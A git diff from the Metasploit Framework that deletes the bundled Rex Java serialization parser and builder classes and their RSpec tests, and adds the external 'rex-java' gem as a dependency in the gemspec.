# @return [Integer] if deserialization succeeds
# @raise [Rex::Java::Serialization::DecodeError] if deserialization doesn't succeed
def decode_serial_version(io)
raw_serial = io.read(8)
if raw_serial.nil? || raw_serial.length != 8
raise Rex::Java::Serialization::DecodeError, 'Failed to unserialize ClassDescription'
end
raw_serial.unpack('Q>')[0]
end
# Deserializes a class flags
#
# @param io [IO] the io to read from
# @return [Integer] if deserialization is possible
# @raise [Rex::Java::Serialization::DecodeError] if deserialization doesn't succeed
def decode_flags(io)
raw_flags = io.read(1)
raise Rex::Java::Serialization::DecodeError, 'Failed to unserialize ClassDescription' if raw_flags.nil?
raw_flags.unpack('C')[0]
end
# Deserializes a class fields length
#
# @param io [IO] the io to read from
# @return [Integer] if deserialization is possible
# @raise [Rex::Java::Serialization::DecodeError] if deserialization doesn't succeed
def decode_fields_length(io)
fields_length = io.read(2)
if fields_length.nil? || fields_length.length != 2
raise Rex::Java::Serialization::DecodeError, 'Failed to unserialize ClassDescription'
end
fields_length.unpack('n')[0]
end
end
end
end
end
end

79
lib/rex/java/serialization/model/new_enum.rb
View File

@ -1,79 +0,0 @@
# -*- coding: binary -*-
module Rex
module Java
module Serialization
module Model
# This class provides a NewEnum (Java Enum) representation
class NewEnum < Element
include Rex::Java::Serialization::Model::Contents
# @!attribute enum_description
# @return [Rex::Java::Serialization::Model::ClassDescription] The description of the enum
attr_accessor :enum_description
# @!attribute constant_name
# @return [Rex::Java::Serialization::Model::Utf] The constant value in the Java Enum
attr_accessor :constant_name
# @param stream [Rex::Java::Serialization::Model::Stream] the stream where it belongs to
def initialize(stream = nil)
super(stream)
self.enum_description = nil
self.constant_name = nil
end
# Deserializes a Rex::Java::Serialization::Model::NewEnum
#
# @param io [IO] the io to read from
# @return [self] if deserialization succeeds
# @raise [Rex::Java::Serialization::DecodeError] if deserialization doesn't succeed
def decode(io)
self.enum_description = ClassDesc.decode(io, stream)
stream.add_reference(self) unless stream.nil?
self.constant_name = decode_constant_name(io)
self
end
# Serializes the Rex::Java::Serialization::Model::NewEnum
#
# @return [String] if serialization succeeds
# @raise [Rex::Java::Serialization::EncodeError] if serialization doesn't succeed
def encode
unless enum_description.kind_of?(ClassDesc) &&
constant_name.kind_of?(Utf)
raise Rex::Java::Serialization::EncodeError, 'Failed to serialize EnumDescription'
end
encoded = ''
encoded << enum_description.encode
encoded << encode_content(constant_name)
encoded
end
# Creates a print-friendly string representation
#
# @return [String]
def to_s
constant_name.to_s
end
private
# Deserializes the NewEnum constant name
#
# @param io [IO] the io to read from
# @return [Rex::Java::Serialization::Model::Utf] if deserialization succeeds
# @raise [Rex::Java::Serialization::DecodeError] if deserialization doesn't succed
def decode_constant_name(io)
content = decode_content(io, stream)
raise Rex::Java::Serialization::DecodeError, 'Failed to unserialize NewEnum' unless content.kind_of?(Rex::Java::Serialization::Model::Utf)
content
end
end
end
end
end
end

235
lib/rex/java/serialization/model/new_object.rb
View File

@ -1,235 +0,0 @@
# -*- coding: binary -*-
module Rex
module Java
module Serialization
module Model
# This class provides a NewObject (Java Object) representation
class NewObject < Element
include Rex::Java::Serialization::Model::Contents
# @!attribute class_desc
# @return [Rex::Java::Serialization::Model::ClassDesc] The description of the object
attr_accessor :class_desc
# @!attribute class_data
# @return [Array] The data of the object
attr_accessor :class_data
# @param stream [Rex::Java::Serialization::Model::Stream] the stream where it belongs to
def initialize(stream = nil)
super(stream)
self.class_desc = nil
self.class_data = []
end
# Deserializes a Rex::Java::Serialization::Model::NewObject
#
# @param io [IO] the io to read from
# @return [self] if deserialization succeeds
# @raise [Rex::Java::Serialization::DecodeError] if deserialization doesn't succeed
def decode(io)
self.class_desc = ClassDesc.decode(io, stream)
stream.add_reference(self) unless stream.nil?
case class_desc.description
when NewClassDesc
self.class_data = decode_class_data(io, class_desc.description)
when Reference
ref = class_desc.description.handle - BASE_WIRE_HANDLE
self.class_data = decode_class_data(io, stream.references[ref])
end
self
end
# Serializes the Rex::Java::Serialization::Model::NewObject
#
# @return [String] if serialization succeeds
# @raise [Rex::Java::Serialization::EncodeError] if serialization doesn't succeed
def encode
unless class_desc.kind_of?(ClassDesc)
raise Rex::Java::Serialization::EncodeError, 'Failed to serialize NewObject'
end
encoded = ''
encoded << class_desc.encode
class_data.each do |value|
if value.kind_of?(Array)
encoded << encode_value(value)
else
encoded << encode_content(value)
end
end
encoded
end
# Creates a print-friendly string representation
#
# @return [String]
def to_s
str = ''
case class_desc.description
when NewClassDesc
str << class_desc.description.class_name.to_s
when ProxyClassDesc
str << class_desc.description.interfaces.collect { |iface| iface.contents }.join(',')
when Reference
str << (class_desc.description.handle - BASE_WIRE_HANDLE).to_s(16)
end
str << ' => { '
data_str = class_data.collect { |data| data.to_s }
str << data_str.join(', ')
str << ' }'
str
end
private
# Deserializes the class_data for a class_desc and its super classes
#
# @param io [IO] the io to read from
# @param my_class_desc [Rex::Java::Serialization::Model::NewClassDesc] the class description whose data is being extracted
# @return [Array] class_data values if deserialization succeeds
# @raise [Rex::Java::Serialization::DecodeError] if deserialization doesn't succeed
def decode_class_data(io, my_class_desc)
values = []
unless my_class_desc.super_class.description.class == NullReference
if my_class_desc.super_class.description.class == Reference
ref = my_class_desc.super_class.description.handle - BASE_WIRE_HANDLE
values += decode_class_data(io, stream.references[ref])
else
values += decode_class_data(io, my_class_desc.super_class.description)
end
end
values += decode_class_fields(io, my_class_desc)
values
end
# Deserializes the fields data for a class_desc
#
# @param io [IO] the io to read from
# @param my_class_desc [Rex::Java::Serialization::Model::NewClassDesc] the class description whose data is being extracted
# @return [Array] class_data values if deserialization succeeds
# @raise [Rex::Java::Serialization::DecodeError] if deserialization doesn't succeed
def decode_class_fields(io, my_class_desc)
values = []
my_class_desc.fields.each do |field|
if field.is_primitive?
values << decode_value(io, field.type)
else
content = decode_content(io, stream)
values << content
end
end
values
end
# Deserializes a class_data value
#
# @param io [IO] the io to read from
# @param type [String] the type of the value to deserialize
# @return [Array(String, <Fixnum, Float>)] type and value if deserialization succeeds
# @raise [Rex::Java::Serialization::DecodeError] if deserialization fails
def decode_value(io, type)
value = []
case type
when 'byte'
value_raw = io.read(1)
raise Rex::Java::Serialization::DecodeError, 'Failed to deserialize NewArray value' if value_raw.nil?
value.push('byte', value_raw.unpack('c')[0])
when 'char'
value_raw = io.read(2)
unless value_raw && value_raw.length == 2
raise Rex::Java::Serialization::DecodeError, 'Failed to deserialize NewArray value'
end
value.push('char', value_raw.unpack('s>')[0])
when 'double'
value_raw = io.read(8)
unless value_raw && value_raw.length == 8
raise Rex::Java::Serialization::DecodeError, 'Failed to deserialize NewArray value'
end
value.push('double', value = value_raw.unpack('G')[0])
when 'float'
value_raw = io.read(4)
unless value_raw && value_raw.length == 4
raise Rex::Java::Serialization::DecodeError, 'Failed to deserialize NewArray value'
end
value.push('float', value_raw.unpack('g')[0])
when 'int'
value_raw = io.read(4)
unless value_raw && value_raw.length == 4
raise Rex::Java::Serialization::DecodeError, 'Failed to deserialize NewArray value'
end
value.push('int', value_raw.unpack('l>')[0])
when 'long'
value_raw = io.read(8)
unless value_raw && value_raw.length == 8
raise Rex::Java::Serialization::DecodeError, 'Failed to deserialize NewArray value'
end
value.push('long', value_raw.unpack('q>')[0])
when 'short'
value_raw = io.read(2)
unless value_raw && value_raw.length == 2
raise Rex::Java::Serialization::DecodeError, 'Failed to deserialize NewArray value'
end
value.push('short', value_raw.unpack('s>')[0])
when 'boolean'
value_raw = io.read(1)
raise Rex::Java::Serialization::DecodeError, 'Failed to deserialize NewArray value' if value_raw.nil?
value.push('boolean', value_raw.unpack('c')[0])
else
raise Rex::Java::Serialization::DecodeError, 'Unsupported NewArray type'
end
value
end
# Serializes an class_data value
#
# @param value [Array] the type and value to serialize
# @return [String] the serialized value
# @raise [Rex::Java::Serialization::EncodeError] if serialization fails
def encode_value(value)
res = ''
case value[0]
when 'byte'
res = [value[1]].pack('c')
when 'char'
res = [value[1]].pack('s>')
when 'double'
res = [value[1]].pack('G')
when 'float'
res = [value[1]].pack('g')
when 'int'
res = [value[1]].pack('l>')
when 'long'
res = [value[1]].pack('q>')
when 'short'
res = [value[1]].pack('s>')
when 'boolean'
res = [value[1]].pack('c')
else
raise Rex::Java::Serialization::EncodeError, 'Unsupported NewArray type'
end
res
end
end
end
end
end
end

12
lib/rex/java/serialization/model/null_reference.rb
View File

@ -1,12 +0,0 @@
# -*- coding: binary -*-
module Rex
module Java
module Serialization
module Model
class NullReference < Element
end
end
end
end
end

109
lib/rex/java/serialization/model/proxy_class_desc.rb
View File

@ -1,109 +0,0 @@
# -*- coding: binary -*-
module Rex
module Java
module Serialization
module Model
# This class provides a ProxyClassDesc representation
class ProxyClassDesc < Element
include Rex::Java::Serialization
# @!attribute interfaces
# @return [Array] An array of interface names
attr_accessor :interfaces
# @!attribute class_annotation
# @return [Rex::Java::Serialization::Model::Annotation] The java class annotations
attr_accessor :class_annotation
# @!attribute super_class
# @return [Rex::Java::Serialization::Model::ClassDesc] The java class superclass description
attr_accessor :super_class
# @param stream [Rex::Java::Serialization::Model::Stream] the stream where it belongs to
def initialize(stream = nil)
super(stream)
self.interfaces = []
self.class_annotation = nil
self.super_class = nil
end
# Deserializes a Rex::Java::Serialization::Model::ProxyClassDesc
#
# @param io [IO] the io to read from
# @return [self] if deserialization succeeds
# @raise [Rex::Java::Serialization::DecodeError] if deserialization doesn't succeed
def decode(io)
stream.add_reference(self) unless stream.nil?
interfaces_length = decode_interfaces_length(io)
interfaces_length.times do
interface = Utf.decode(io, stream)
self.interfaces << interface
end
self.class_annotation = Annotation.decode(io, stream)
self.super_class = ClassDesc.decode(io, stream)
self
end
# Serializes the Rex::Java::Serialization::Model::ProxyClassDesc
#
# @return [String] if serialization succeeds
# @raise [Rex::Java::Serialization::EncodeError] if serialization doesn't succeed
def encode
unless class_annotation.class == Rex::Java::Serialization::Model::Annotation ||
super_class.class == Rex::Java::Serialization::Model::ClassDesc
raise Rex::Java::Serialization::EncodeError, 'Failed to serialize ProxyClassDesc'
end
encoded = ''
encoded << [interfaces.length].pack('N')
interfaces.each do |interface|
encoded << interface.encode
end
encoded << class_annotation.encode
encoded << super_class.encode
encoded
end
# Creates a print-friendly string representation
#
# @return [String]
def to_s
str = '[ '
interfaces_str = []
interfaces.each do |interface|
interfaces_str << interface.to_s
end
str << "#{interfaces_str.join(', ')} ]"
case super_class.description
when NewClassDesc
str << ", @super_class: #{super_class.description.class_name.to_s}"
when Reference
str << ", @super_class: #{super_class.description.to_s}"
end
str
end
private
# Deserializes the number of interface names
#
# @param io [IO] the io to read from
# @return [Fixnum] if deserialization is possible
# @raise [Rex::Java::Serialization::DecodeError] if deserialization doesn't succeed
def decode_interfaces_length(io)
fields_length = io.read(4)
if fields_length.nil? || fields_length.length != 4
raise Rex::Java::Serialization::DecodeError, 'Failed to unserialize ProxyClassDesc'
end
fields_length.unpack('N')[0]
end
end
end
end
end
end

61
lib/rex/java/serialization/model/reference.rb
View File

@ -1,61 +0,0 @@
# -*- coding: binary -*-
module Rex
module Java
module Serialization
module Model
# This class provides a Java Reference representation.
class Reference < Element
# @!attribute contents
# @return [Fixnum] The stream handle being referenced
attr_accessor :handle
# @param stream [Rex::Java::Serialization::Model::Stream] the stream where it belongs to
def initialize(stream = nil)
super(stream)
self.handle = 0
end
# Deserializes a Rex::Java::Serialization::Model::Reference
#
# @param io [IO] the io to read from
# @return [self] if deserialization succeeds
# @raise [Rex::Java::Serialization::DecodeError] if deserialization doesn't succeed
def decode(io)
handle_raw = io.read(4)
unless handle_raw && handle_raw.length == 4
raise Rex::Java::Serialization::DecodeError, 'Failed to unserialize Reference'
end
self.handle = handle_raw.unpack('N')[0]
self
end
# Serializes the Rex::Java::Serialization::Model::Reference
#
# @return [String] if serialization succeeds
# @raise [Rex::Java::Serialization::EncodeError] if serialization doesn't succeed
def encode
if handle < BASE_WIRE_HANDLE
raise Rex::Java::Serialization::EncodeError, 'Failed to serialize Reference'
end
encoded = ''
encoded << [handle].pack('N')
encoded
end
# Creates a print-friendly string representation
#
# @return [String]
def to_s
"0x#{handle.to_s(16)}"
end
end
end
end
end
end

12
lib/rex/java/serialization/model/reset.rb
View File

@ -1,12 +0,0 @@
# -*- coding: binary -*-
module Rex
module Java
module Serialization
module Model
class Reset < Element
end
end
end
end
end

123
lib/rex/java/serialization/model/stream.rb
View File

@ -1,123 +0,0 @@
# -*- coding: binary -*-
module Rex
module Java
module Serialization
module Model
# This class provides a Java Stream representation
class Stream < Element
include Rex::Java::Serialization::Model::Contents
# @!attribute magic
# @return [Fixnum] The stream signature
attr_accessor :magic
# @!attribute version
# @return [Fixnum] The stream version
attr_accessor :version
# @!attribute contents
# @return [Array] The stream contents
attr_accessor :contents
# @!attribute references
# @return [Array] The stream objects to be referenced through handles
attr_accessor :references
def initialize(stream = nil)
super(nil)
self.magic = STREAM_MAGIC
self.version = STREAM_VERSION
self.contents = []
self.references = []
end
# Deserializes a Rex::Java::Serialization::Model::Stream
#
# @param io [IO] the io to read from
# @return [self] if deserialization succeeds
# @raise [Rex::Java::Serialization::DecodeError] if deserialization doesn't succeed
def decode(io)
self.magic = decode_magic(io)
self.version = decode_version(io)
until io.eof?
content = decode_content(io, self)
self.contents << content
end
self
end
# Serializes the Rex::Java::Serialization::Model::Stream
#
# @return [String] if serialization succeeds
# @raise [Rex::Java::Serialization::EncodeError] if serialization doesn't succeed
def encode
encoded = ''
encoded << [magic].pack('n')
encoded << [version].pack('n')
contents.each do |content|
encoded << encode_content(content)
end
encoded
end
# Adds an element to the references array
#
# @param ref [Rex::Java::Serialization::Model::Element] the object to save as reference dst
def add_reference(ref)
self.references.push(ref)
end
# Creates a print-friendly string representation
#
# @return [String]
def to_s
str = "@magic: 0x#{magic.to_s(16)}\n"
str << "@version: #{version}\n"
str << "@contents: [\n"
contents.each do |content|
str << " #{print_content(content)}\n"
end
str << "]\n"
str << "@references: [\n"
references.each do |ref|
str << " [#{(references.index(ref) + BASE_WIRE_HANDLE).to_s(16)}] #{print_content(ref)}\n"
end
str << "]\n"
end
private
# Deserializes the magic stream value
#
# @param io [IO] the io to read from
# @return [String] if deserialization succeeds
# @raise [Rex::Java::Serialization::DecodeError] if deserialization doesn't succeed
def decode_magic(io)
magic = io.read(2)
unless magic && magic.length == 2 && magic.unpack('n')[0] == STREAM_MAGIC
raise Rex::Java::Serialization::DecodeError, 'Failed to unserialize Stream'
end
STREAM_MAGIC
end
# Deserializes the version stream
#
# @param io [IO] the io to read from
# @return [Fixnum] if deserialization succeeds
# @raise [Rex::Java::Serialization::DecodeError] if deserialization doesn't succeed
def decode_version(io)
version = io.read(2)
unless version && version.unpack('n')[0] == STREAM_VERSION
raise Rex::Java::Serialization::DecodeError, 'Failed to unserialize Stream'
end
STREAM_VERSION
end
end
end
end
end
end

69
lib/rex/java/serialization/model/utf.rb
View File

@ -1,69 +0,0 @@
# -*- coding: binary -*-
module Rex
module Java
module Serialization
module Model
# This class provides a Utf string representation
class Utf < Element
# @!attribute length
# @return [Integer] the length of the string
attr_accessor :length
# @!attribute contents
# @return [String] the contents of the string
attr_accessor :contents
# @param stream [Rex::Java::Serialization::Model::Stream] the stream where it belongs to
# @param contents [String] the contents of the utf string
def initialize(stream = nil, contents = '')
super(stream)
self.contents = contents
self.length = contents.length
end
# Deserializes a Rex::Java::Serialization::Model::Utf
#
# @param io [IO] the io to read from
# @return [self] if deserialization succeeds
# @raise [Rex::Java::Serialization::DecodeError] if deserialization doesn't succeed
def decode(io)
raw_length = io.read(2)
if raw_length.nil? || raw_length.length != 2
raise Rex::Java::Serialization::DecodeError, 'Failed to unserialize Utf'
end
self.length = raw_length.unpack('n')[0]
if length == 0
self.contents = ''
else
self.contents = io.read(length)
if contents.nil? || contents.length != length
raise Rex::Java::Serialization::DecodeError, 'Failed to unserialize Utf'
end
end
self
end
# Serializes the Rex::Java::Serialization::Model::Utf
#
# @return [String]
def encode
encoded = [length].pack('n')
encoded << contents
encoded
end
# Creates a print-friendly string representation
#
# @return [String]
def to_s
contents
end
end
end
end
end
end

2
metasploit-framework.gemspec
View File

@ -110,6 +110,8 @@ Gem::Specification.new do |spec|
spec.add_runtime_dependency 'rex-zip'
# Library for parsing offline Windows Registry files
spec.add_runtime_dependency 'rex-registry'
# Library for parsing Java serialized streams
spec.add_runtime_dependency 'rex-java'
# rb-readline doesn't work with Ruby Installer due to error with Fiddle:
# NoMethodError undefined method `dlopen' for Fiddle:Module

143
spec/lib/rex/java/serialization/builder_spec.rb
View File

@ -1,143 +0,0 @@
# -*- coding:binary -*-
require 'spec_helper'
require 'rex/java'
RSpec.describe Rex::Java::Serialization::Builder do
subject(:builder) do
described_class.new
end
let(:class_opts) do
{
name: 'java.rmi.MarshalledObject',
serial: 0x7cbd1e97ed63fc3e,
fields: [
['int', 'hash'],
['array', 'locBytes', '[B'],
['array', 'objBytes', '[B']
]
}
end
let(:object_opts) do
{
data: [["int", 1]]
}
end
let(:array_opts) do
{
values_type: 'byte',
values: [0x41, 0x42, 0x43, 0x44]
}
end
describe ".new" do
it "returns a Rex::Java::Serialization::Builder" do
expect(builder).to be_a(Rex::Java::Serialization::Builder)
end
end
describe "#new_class" do
context "when no options" do
it "returns a Rex::Java::Serialization::Model::NewClassDesc" do
expect(builder.new_class).to be_a(Rex::Java::Serialization::Model::NewClassDesc)
end
it "sets an empty class name" do
expect(builder.new_class.class_name.contents).to eq('')
end
it "sets a 0 serial version" do
expect(builder.new_class.serial_version).to eq(0)
end
it "sets flags to SC_SERIALIZABLE" do
expect(builder.new_class.flags).to eq(Rex::Java::Serialization::SC_SERIALIZABLE)
end
it "sets default annotations" do
expect(builder.new_class.class_annotation.contents.length).to eq(2)
end
it "sets empty fields" do
expect(builder.new_class.fields.length).to eq(0)
end
it "sets null super class" do
expect(builder.new_class.super_class.description).to be_a(Rex::Java::Serialization::Model::NullReference)
end
end
context "when options" do
it "returns a Rex::Java::Serialization::Model::NewClassDesc" do
expect(builder.new_class(class_opts)).to be_a(Rex::Java::Serialization::Model::NewClassDesc)
end
it "sets the class name from options" do
expect(builder.new_class(class_opts).class_name.contents).to eq(class_opts[:name])
end
it "sets serial version from options" do
expect(builder.new_class(class_opts).serial_version).to eq(class_opts[:serial])
end
it "sets fields from options" do
expect(builder.new_class(class_opts).fields.length).to eq(3)
end
end
end
describe "#new_object" do
context "when no options" do
it "returns a Rex::Java::Serialization::Model::NewObject" do
expect(builder.new_object).to be_a(Rex::Java::Serialization::Model::NewObject)
end
it "sets empty data" do
expect(builder.new_object.class_data).to eq([])
end
end
context "when options" do
it "returns a Rex::Java::Serialization::Model::NewObject" do
expect(builder.new_object(object_opts)).to be_a(Rex::Java::Serialization::Model::NewObject)
end
it "sets data from options" do
expect(builder.new_object(object_opts).class_data[0][1]).to eq(1)
end
end
end
describe "#new_array" do
context "when no options" do
it "returns a Rex::Java::Serialization::Model::NewArray" do
expect(builder.new_array).to be_a(Rex::Java::Serialization::Model::NewArray)
end
it "sets empty values type" do
expect(builder.new_array.type).to eq('')
end
it "sets empty values array" do
expect(builder.new_array.values).to eq([])
end
end
context "when options" do
it "returns a Rex::Java::Serialization::Model::NewArray" do
expect(builder.new_array(array_opts)).to be_a(Rex::Java::Serialization::Model::NewArray)
end
it "sets empty values type" do
expect(builder.new_array(array_opts).type).to eq(array_opts[:values_type])
end
it "sets empty values array" do
expect(builder.new_array(array_opts).values).to eq(array_opts[:values])
end
end
end
end

105
spec/lib/rex/java/serialization/model/annotation_spec.rb
View File

@ -1,105 +0,0 @@
# -*- coding:binary -*-
require 'spec_helper'
require 'rex/java'
require 'stringio'
RSpec.describe Rex::Java::Serialization::Model::Annotation do
subject(:annotation) do
described_class.new
end
let(:empty_contents) { "\x78" }
let(:empty_contents_io) { StringIO.new(empty_contents) }
let(:contents) { "\x77\x05\x01\x02\x03\x04\x05\x7a\x00\x00\x00\x05\x01\x02\x03\x04\x05\x78" }
let(:contents_io) { StringIO.new(contents) }
describe ".new" do
it "Rex::Java::Serialization::Model::Annotation" do
expect(annotation).to be_a(Rex::Java::Serialization::Model::Annotation)
end
it "initializes contents with empty array" do
expect(annotation.contents).to be_empty
end
end
describe "#encode" do
context "when empty contents" do
it do
annotation.contents << Rex::Java::Serialization::Model::EndBlockData.new
expect(annotation.encode).to eq(empty_contents)
end
end
context "when block data contents" do
it do
annotation.contents << Rex::Java::Serialization::Model::BlockData.new(nil, "\x01\x02\x03\x04\x05")
annotation.contents << Rex::Java::Serialization::Model::BlockDataLong.new(nil, "\x01\x02\x03\x04\x05")
annotation.contents << Rex::Java::Serialization::Model::EndBlockData.new
expect(annotation.encode).to eq(contents)
end
end
end
describe "#decode" do
context "when empty contents" do
it "returns a Rex::Java::Serialization::Model::Annotation" do
expect(annotation.decode(empty_contents_io)).to be_a(Rex::Java::Serialization::Model::Annotation)
end
it "unserializes one content" do
annotation.decode(empty_contents_io)
expect(annotation.contents.length).to eq(1)
end
it "unserializes one EndBlockData content" do
annotation.decode(empty_contents_io)
expect(annotation.contents[0]).to be_a(Rex::Java::Serialization::Model::EndBlockData)
end
end
context "when block data contents" do
it "returns a Rex::Java::Serialization::Model::Annotation" do
expect(annotation.decode(contents_io)).to be_a(Rex::Java::Serialization::Model::Annotation)
end
it "deserializes contents" do
annotation.decode(contents_io)
expect(annotation.contents.length).to eq(3)
end
it "deserializes block data contents" do
annotation.decode(contents_io)
expect(annotation.contents[0]).to be_a_kind_of(Rex::Java::Serialization::Model::BlockData)
end
it "deserializes block data long contents" do
annotation.decode(contents_io)
expect(annotation.contents[1]).to be_a_kind_of(Rex::Java::Serialization::Model::BlockDataLong)
end
it "deserializes end block data" do
annotation.decode(contents_io)
expect(annotation.contents[2]).to be_a_kind_of(Rex::Java::Serialization::Model::EndBlockData)
end
end
end
describe "#to_s" do
it "prints an empty annotation" do
annotation.decode(empty_contents_io)
expect(annotation.to_s).to eq('[ EndBlockData ]')
end
it "prints an annotation with contents" do
annotation.decode(contents_io)
expect(annotation.to_s).to eq('[ BlockData { [ 0x1, 0x2, 0x3, 0x4, 0x5 ] }, BlockDataLong { [ 0x1, 0x2, 0x3, 0x4, 0x5 ] }, EndBlockData ]')
end
end
end

107
spec/lib/rex/java/serialization/model/block_data_long_spec.rb
View File

@ -1,107 +0,0 @@
# -*- coding:binary -*-
require 'spec_helper'
require 'rex/java'
require 'stringio'
RSpec.describe Rex::Java::Serialization::Model::BlockDataLong do
subject(:block) do
described_class.new
end
let(:sample_block) { "\x00\x00\x00\x10\x01\x02\x03\x04\x05\x06\x07\x08\x09\x0a\x0b\x0c\x0d\x0e\x0f\x10" }
let(:sample_block_io) { StringIO.new(sample_block) }
let(:empty_block) { "\x00\x00\x00\x00" }
let(:empty_block_io) { StringIO.new(empty_block) }
let(:incomplete_block) { "\x00\x00\x00\x10\x01\x02\x03\x04\x05" }
let(:incomplete_block_io) { StringIO.new(incomplete_block) }
let(:empty_io) { StringIO.new('') }
describe ".new" do
it "Rex::Java::Serialization::Model::BlockDataLong" do
expect(block).to be_a(Rex::Java::Serialization::Model::BlockDataLong)
end
it "initializes length to 0" do
expect(block.length).to eq(0)
end
it "initializes contents with empty string" do
expect(block.contents).to be_empty
end
end
describe "#encode" do
context "when empty block" do
it { expect(block.encode).to eq(empty_block) }
end
context "when filled block" do
it do
block.length = 16
block.contents = "\x01\x02\x03\x04\x05\x06\x07\x08\x09\x0a\x0b\x0c\x0d\x0e\x0f\x10"
expect(block.encode).to eq(sample_block)
end
end
end
describe "#decode" do
context "when stream contains empty string" do
it "returns nil" do
expect { block.decode(empty_io) }.to raise_error(Rex::Java::Serialization::DecodeError)
end
end
context "when stream contains empty block" do
it "returns a Rex::Java::Serialization::Model::BlockDataLong" do
expect(block.decode(empty_block_io)).to be_a(Rex::Java::Serialization::Model::BlockDataLong)
end
it "sets length to 0" do
block.decode(empty_block_io)
expect(block.length).to eq(0)
end
it "sets contents to empty string" do
block.decode(empty_block_io)
expect(block.contents).to be_empty
end
end
context "when stream contains incomplete block" do
it "returns nil" do
expect { block.decode(incomplete_block_io) }.to raise_error(Rex::Java::Serialization::DecodeError)
end
end
context "when stream contains correct block" do
it "returns a Rex::Java::Serialization::Model::BlockDataLong" do
expect(block.decode(sample_block_io)).to be_a(Rex::Java::Serialization::Model::BlockDataLong)
end
it "sets length to 0" do
block.decode(sample_block_io)
expect(block.length).to eq(16)
end
it "sets contents to sample string" do
block.decode(sample_block_io)
expect(block.contents).to eq("\x01\x02\x03\x04\x05\x06\x07\x08\x09\x0a\x0b\x0c\x0d\x0e\x0f\x10")
end
end
describe "#to_s" do
it "prints a block with contents" do
block.decode(sample_block_io)
expect(block.to_s).to eq('[ 0x1, 0x2, 0x3, 0x4, 0x5, 0x6, 0x7, 0x8, 0x9, 0xa, 0xb, 0xc, 0xd, 0xe, 0xf, 0x10 ]')
end
it "prints an empty string for an empty block" do
block.decode(empty_block_io)
expect(block.to_s).to eq('[ ]')
end
end
end
end

106
spec/lib/rex/java/serialization/model/block_data_spec.rb
View File

@ -1,106 +0,0 @@
# -*- coding:binary -*-
require 'spec_helper'
require 'rex/java'
require 'stringio'
RSpec.describe Rex::Java::Serialization::Model::BlockData do
subject(:block) do
described_class.new
end
let(:sample_block) { "\x10\x01\x02\x03\x04\x05\x06\x07\x08\x09\x0a\x0b\x0c\x0d\x0e\x0f\x10" }
let(:sample_block_io) { StringIO.new(sample_block) }
let(:empty_block) { "\x00" }
let(:empty_block_io) { StringIO.new(empty_block) }
let(:incomplete_block) { "\x10\x01\x02\x03\x04\x05" }
let(:incomplete_block_io) { StringIO.new(incomplete_block) }
let(:empty_io) { StringIO.new('') }
describe ".new" do
it "Rex::Java::Serialization::Model::BlockData" do
expect(block).to be_a(Rex::Java::Serialization::Model::BlockData)
end
it "initializes length to 0" do
expect(block.length).to eq(0)
end
it "initializes contents with empty string" do
expect(block.contents).to be_empty
end
end
describe "#encode" do
context "when empty block" do
it { expect(block.encode).to eq(empty_block) }
end
context "when filled block" do
it do
block.length = 16
block.contents = "\x01\x02\x03\x04\x05\x06\x07\x08\x09\x0a\x0b\x0c\x0d\x0e\x0f\x10"
expect(block.encode).to eq(sample_block)
end
end
end
describe "#decode" do
context "when stream contains empty string" do
it "returns nil" do
expect { block.decode(empty_io) }.to raise_error(Rex::Java::Serialization::DecodeError)
end
end
context "when stream contains empty block" do
it "returns a Rex::Java::Serialization::Model::BlockData" do
expect(block.decode(empty_block_io)).to be_a(Rex::Java::Serialization::Model::BlockData)
end
it "sets length to 0" do
block.decode(empty_block_io)
expect(block.length).to eq(0)
end
it "sets contents to empty string" do
block.decode(empty_block_io)
expect(block.contents).to be_empty
end
end
context "when stream contains incomplete block" do
it "returns nil" do
expect { block.decode(incomplete_block_io) }.to raise_error(Rex::Java::Serialization::DecodeError)
end
end
context "when stream contains correct block" do
it "returns a Rex::Java::Serialization::Model::BlockData" do
expect(block.decode(sample_block_io)).to be_a(Rex::Java::Serialization::Model::BlockData)
end
it "sets length to 0" do
block.decode(sample_block_io)
expect(block.length).to eq(16)
end
it "sets contents to sample string" do
block.decode(sample_block_io)
expect(block.contents).to eq("\x01\x02\x03\x04\x05\x06\x07\x08\x09\x0a\x0b\x0c\x0d\x0e\x0f\x10")
end
end
end
describe "#to_s" do
it "prints a block with contents" do
block.decode(sample_block_io)
expect(block.to_s).to eq('[ 0x1, 0x2, 0x3, 0x4, 0x5, 0x6, 0x7, 0x8, 0x9, 0xa, 0xb, 0xc, 0xd, 0xe, 0xf, 0x10 ]')
end
it "prints an empty string for an empty block" do
block.decode(empty_block_io)
expect(block.to_s).to eq('[ ]')
end
end
end

81
spec/lib/rex/java/serialization/model/class_desc_spec.rb
View File

@ -1,81 +0,0 @@
# -*- coding:binary -*-
require 'spec_helper'
require 'rex/java'
require 'stringio'
RSpec.describe Rex::Java::Serialization::Model::ClassDesc do
subject(:class_desc) do
described_class.new
end
let(:sample) do
"\x72\x00\x0e\x6a\x61\x76\x61\x2e\x6c\x61\x6e" +
"\x67\x2e\x42\x79\x74\x65\x9c\x4e\x60\x84\xee\x50\xf5\x1c\x02\x00" +
"\x01\x42\x00\x05\x76\x61\x6c\x75\x65\x78\x72\x00\x10\x6a\x61\x76" +
"\x61\x2e\x6c\x61\x6e\x67\x2e\x4e\x75\x6d\x62\x65\x72\x86\xac\x95" +
"\x1d\x0b\x94\xe0\x8b\x02\x00\x00\x78\x70"
end
let(:sample_io) { StringIO.new(sample) }
describe ".new" do
it "Rex::Java::Serialization::Model::NewClassDesc" do
expect(class_desc).to be_a(Rex::Java::Serialization::Model::ClassDesc)
end
it "initializes description with nil" do
expect(class_desc.description).to be_nil
end
end
describe "#decode" do
it "returns a Rex::Java::Serialization::Model::ClassDesc" do
expect(class_desc.decode(sample_io)).to be_a(Rex::Java::Serialization::Model::ClassDesc)
end
it "deserializes the description correctly" do
class_desc.decode(sample_io)
expect(class_desc.description).to be_a(Rex::Java::Serialization::Model::NewClassDesc)
end
end
describe "#encode" do
it "serializes a ClassDesc" do
super_class_desc_new = Rex::Java::Serialization::Model::NewClassDesc.new
super_class_desc_new.class_name = Rex::Java::Serialization::Model::Utf.new(nil, 'java.lang.Number')
super_class_desc_new.serial_version = 0x86ac951d0b94e08b
super_class_desc_new.flags = 2
super_class_desc_new.class_annotation = Rex::Java::Serialization::Model::Annotation.new
super_class_desc_new.class_annotation.contents << Rex::Java::Serialization::Model::EndBlockData.new
super_class_desc_new.super_class = Rex::Java::Serialization::Model::ClassDesc.new
super_class_desc_new.super_class.description = Rex::Java::Serialization::Model::NullReference.new
super_class_desc = Rex::Java::Serialization::Model::ClassDesc.new
super_class_desc.description = super_class_desc_new
class_desc_new = Rex::Java::Serialization::Model::NewClassDesc.new
